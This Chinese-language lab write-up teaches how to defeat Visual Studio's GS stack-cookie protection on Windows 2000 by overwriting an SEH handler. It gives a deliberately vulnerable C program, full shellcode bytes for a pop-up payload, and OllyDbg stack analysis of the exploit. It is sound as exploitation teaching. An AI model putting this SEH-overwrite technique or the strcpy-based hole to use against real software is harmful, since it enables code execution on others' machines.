攻擊異常丨處理突破GS保護(hù)

作者:黑蛋
1:簡述
針對緩沖區(qū)溢出覆蓋函數(shù)返回地址這一特征,微軟在編譯程序時使用了一個安全編譯選項--GS,?Visual Studio 2003 (VS 7.0)及以后版本的?Visual Studio?中默認(rèn)啟用了這個編譯選項。在所有函數(shù)調(diào)用時,會向棧中壓入一個DWORD,他是data段第一個DWORD與EBP亦或之后形成的值,處于EBP+4的位置,在所有函數(shù)執(zhí)行完返回時,會有一個檢查函數(shù),檢測EBP+4的值是否正確,正確則正常返回,反之進(jìn)入異常處理流程,函數(shù)不會正常返回,這個操作叫?Security check,如果有緩沖區(qū)溢出函數(shù)返回值,勢必會淹沒Security Cookie,在函數(shù)返回之前由Security check檢查,發(fā)現(xiàn)EBP+4的值與原來的不一樣,進(jìn)入異常處理流程,也會導(dǎo)致我們利用棧溢出失敗。本篇通過SEH處理函數(shù)在GS檢查函數(shù)之前的特征,通過制造異常,然后淹沒SEH處理函數(shù),使SEH異常函數(shù)指向我們的shellcode。詳細(xì)了解GS以及此技術(shù)可以參考《0day安全》這本書
2:實驗環(huán)境
環(huán)境
配置
調(diào)試器
OD
編譯器
Visual Studio 2005
操作系統(tǒng)
Windows 2000 SP4
項目配置
屬性->配置屬性->C/C++->優(yōu)化(禁用)
bulid版本
realse
3:代碼
#include
#include
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x6F\x70\x20\x20\x68\x76\x75\x6C\x74\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xA0\xFE\x12\x00"
;
char shellcode2[]="\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
???????"\x90\x90\x90\x90\x90\x90\x90\x90"
???????"\x90\x90\x90\x90\x90\x90\x90\x90"
???????"\x90\x90\x90\x90\x90\x90\x90\x90"
???????"\x90\x90\x90\x90\x90\x90\x90\x90"
???????"\x90\x90\x90\x90\x90\x90\x90\x90"
???????"\x90\x90\x90\x90\x90\x90\x90\x90"
???????"\x90\x90\x90\x90\x90\x90\x90\x90"
???????"\x90\x90\x90\x90\x90\x90\x90\x90"
???????"\x90\x90\x90\x90\x90\x90\x90\x90"
???????"\x90\x90\x90\x90\x90\x90\x90\x90"
???????"\x90\x90\x90\x90\x90\x90\x90\x90"
???????"\x90\x90\x90\x90\x90\x90\x90\x90"
???????"\x90\x90\x90\x90\x90\x90\x90\x90"
???????"\x90\x90\x90\x90\x90\x90\x90\x90"
???????"\x90\x90\x90\x90\x90\x90\x90\x90"
???????"\x90\x90\x90\x90\x90\x90\x90\x90"
???????"\x90\x90\x90\x90\x90\x90\x90\x90"
???????"\x90\x90\x90\x90\x90\x90\x90\x90"
???????"\x90\x90\x90\x90\x90\x90\x90\x90"
???????"\x90\x90\x90\x90\x90\x90\x90\x90"
???????"\x90\x90\x90\x90\x90\x90\x90\x90"
???????"\x90\x90\x90\x90\x90\x90\x90\x00";
void test(char * input)
{
???
????char buf[200];
????strcpy(buf,input);
???strcat(buf,input);
}
void main()
{
????test(shellcode);
}
本段代碼在主函數(shù)中調(diào)用test函數(shù),傳入字符串,在test中定義一個200字節(jié)buf,然后拷貝傳入字符串到buf中,在test函數(shù)棧中,傳入字符串地址應(yīng)在EBP+8的位置,如果我們傳入字符串過長,他可以淹沒EBP+8的位置,之后再調(diào)用strcat拷貝函數(shù)的時候,找傳入字符串地址EBP+8的位置的時候會發(fā)生異常,進(jìn)入SEH處理函數(shù)。
4:分析函數(shù)流程
首先傳入正常大小字符串shellcode2,分析函數(shù)棧內(nèi)情況:

image-20220718231035081
生成exe拖入OD:

image-20220718231110418
F8走過第一個call,再執(zhí)行第二個JMP:

image-20220718231226742
找主函數(shù)入口(根據(jù)經(jīng)驗,是退出函數(shù)上面三個push之后的call):

光標(biāo)放在箭頭處,F(xiàn)4運行到此處,F(xiàn)7進(jìn)入call:

此處就是我們主函數(shù),call是test函數(shù),傳入的參數(shù)是shellcode2的地址,進(jìn)入test函數(shù),并運行到strcpy函數(shù)之后:

觀察堆棧情況:



我們發(fā)現(xiàn)buf位置在0012FEA0,最近的SEH處理函數(shù)在EBP+44的位置,即0012FFB4,我們需要通過延遲傳入字符串淹沒這個地址,讓他指向buf的起始位置0012FEA0,我們需要增加字符串0x54字節(jié),并在最后四字節(jié)放入0012FEA0。接下來傳入構(gòu)造好的字符串,并生成exe,再根據(jù)之前步驟走到strcpy函數(shù)之后:
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x6F\x70\x20\x20\x68\x76\x75\x6C\x74\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xA0\xFE\x12\x00"
;
前面一段是我們的彈窗shellcode,之后用90填充其余部位,在最后四字節(jié)放入buf的首地址,現(xiàn)在觀察堆棧情況:


我們發(fā)現(xiàn)EBP位置已經(jīng)被淹沒,而SEH處理函數(shù)地址已經(jīng)指向buf的位置,放行程序繼續(xù)運行,到strcat函數(shù)的時候程序會發(fā)生異常,調(diào)用最近的SEH異常處理函數(shù),這里被我們修改為buf的起始位置,程序運行我們的shellcode,成功彈窗:

成功通過攻擊異常處理突破GS,達(dá)到我們的目的。